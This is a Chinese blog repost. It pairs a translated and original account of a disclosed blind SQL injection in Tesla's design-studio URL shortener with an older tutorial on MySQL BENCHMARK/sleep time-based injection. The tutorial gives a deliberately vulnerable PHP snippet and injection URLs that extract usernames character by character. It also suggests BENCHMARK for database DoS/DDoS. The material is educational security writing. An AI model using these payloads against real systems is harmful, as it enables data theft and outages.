最新消息:

对特斯拉公司官网的一次渗透测试(基于时间的mysql盲注)(Benchamark和sleep函数)

MySQL注入 admin 4822浏览 0评论

特斯拉是一家非常酷的公司,由PayPal的Elon Musk与SpaceX投资创建。该公司设计、生产并销售下一代电动汽车,以缓和全球变暖问题和提高生活质量。

我非常喜欢这家公司,因此当得知他们启动了一项“安全响应开放计划”后,我决定尝试一下。

特斯拉的官网使用了应用广泛的Drupal程序,并安装了大量插件,安全性非常高。刺探了几个小时之后,只找到了一些XSS漏洞(其中两个非常难利用),而且比较容易利用的一个注入点也不是Drupal脚本引起的,而是由评论中的外链引起的。

Tesla motors design studio

进入特斯拉网站的design studio。这是一个非常棒的定制工具,使用户可以在下单前定义自己想要的特斯拉的样子。同时它也给用户一个选项,为用户生成一个唯一的URL,使其可 以与其它人共享自己的创作,特斯拉会将这个唯一的URL传入一个自定义的短网址生成器中。我正是在这个短网址生成器中发现了一处SQL注入漏洞,给了我进 入特斯拉后台数据库的机会,包括访问所有在线用户记录以及用admin登录网站的权限。

 

在测试过程中,我注意到根据输入一些不同的、被引号括起来的字符串,该脚本的反应也不太一样。经过一段时间的尝试,终于成功得到一个盲注语句:’ + sleep(10) + ‘,如下图所示:

$ time curl injectkthxbai

特斯拉的反应值得赞赏,他们向我索取了一些技术细节和一份利用漏洞的python脚本(我必须将sleep函数换成benchmark函数以终止被挂起的查询,但是不确定在他们那里是不是有效)。

漏洞很快就被补上了。特斯拉负责安全的小伙伴们非常友好谦逊,我个人也很喜欢和他们一起愉快地玩耍,有机会我一定要再黑他们一次J。

原文地址:https://bitquark.co.uk/blog/2014/02/23/tesla_motors_blind_sql_injection

Tesla Motors blind SQL injection

Published

Tesla Motors are cool. Founded by Elon Musk of PayPal and SpaceX fame, they design, build and sell next generation electric cars, which with the right infrastructure could help mitigate global warming and improve the quality of life in general. I’m into that, so when they launched a security responsible disclosure programme I took a look.

Tesla make extensive use of Drupal with a handful of plugins, and security is pretty tight. With a few hours poking around I’d covered most of the site and found a few XSS vulnerabilities, a couple of which were hard to exploit, and an easier to exploit vector in a non-Drupal script I found referenced in an commented out link.

Tesla motors design studio

Enter the Tesla Motors design studio. This is a pretty nice tool which lets you customise your Tesla before ordering. It also gives you the option to share your creation with others by way of a unique URL which Tesla generates then passes through a custom URL shortener. It was in this shortener that I found an SQL injection vulnerability, giving me access to Tesla’s backend database, including access to all online customer records and admin access to the site.

During testing I noticed that the script behaved a little differently depending on the input and investigated by injecting some quoted strings. After a bit of playing around I had it, a fairly standard blind attack vector: ‘ + sleep(10) + ‘

$ time curl injectkthxbai

Tesla responded admirably, requesting some technical details and a copy of the custom Python script I wrote to exploit the vulnerability (I had to swap the sleep for a benchmark to stop the query hanging, not sure what was going on there). The vulnerability was quickly patched and the Tesla security guys were friendly and courteous. I’d definitely hack them again 🙂

ps:mysql中函数benchmark()和sleep()的介绍:

这两个函数主要用于盲注中。benchmark(count,expr)函数会将expr执行count次,并且结果总为0。因此,只要将count的值设置的足够大,就能够看出时间的区别。而sleep()则是让mysql休眠的时间。

 

MYSQL中BENCHMARK函数的利用

本文作者:SuperHei
文章性质:原创
发布日期:2005-01-02
完成日期:2004-07-09

第一部

利用时间推延进行注射—BENCHMARK函数在注射中的利用

一.前言/思路

如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。

本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。

二.关于BENCHMARK函数

在MySQL参考手册里可以看到如下描叙:


BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
mysql> select BENCHMARK(1000000,encode(“hello”,”goodbye”));
+———————————————-+
| BENCHMARK(1000000,encode(“hello”,”goodbye”)) |
+———————————————-+
| 0 |
+———————————————-+
1 row in set (4.74 sec)

报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。


只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:

mysql> select md5( ‘test’ );
+———————————-+
| md5( ‘test’ ) |
+———————————-+
| 098f6bcd4621d373cade4e832627b4f6 |
+———————————-+
1 row in set (0.00 sec) 〈———–执行时间为0.00 secmysql> select benchmark( 500000, md5( ‘test’ ) );
+————————————+
| benchmark( 500000, md5( ‘test’ ) ) |
+————————————+
| 0 |
+————————————+
1 row in set (6.55 sec) 〈————执行时间为6.55 sec

由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。

三.具体例子

首先我们看个简单的php代码:

< ?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);$sql = “SELECT * FROM article WHERE articleid=$id”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
exit;
}
?>

数据库injection结构和内容如下:

# 数据库 : `injection`
## ——————————————————–#
# 表的结构 `article`
#

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `article`
#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~’);
INSERT INTO `article` VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);

# ——————————————————–

#
# 表的结构 `user`
#

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `user`
#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);
INSERT INTO `user` VALUES (2, ‘4ngel’, ‘mypass2’);

代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用 union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我 们利用union联合查询插入BENCHMARK函数语句来进行判断注射:

id=1 union select 1,benchmark(500000,md5(‘test’)),1 from user where userid=1 and ord(substring(username,1,1))=97 /*

上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5(‘test’))中我们使用了’号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*

执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。

注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。

第二部

利用BENCHMARK函数进行ddos攻击

其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))

小结

本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。

 

 

转载请注明:jinglingshu的博客 » 对特斯拉公司官网的一次渗透测试(基于时间的mysql盲注)(Benchamark和sleep函数)

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址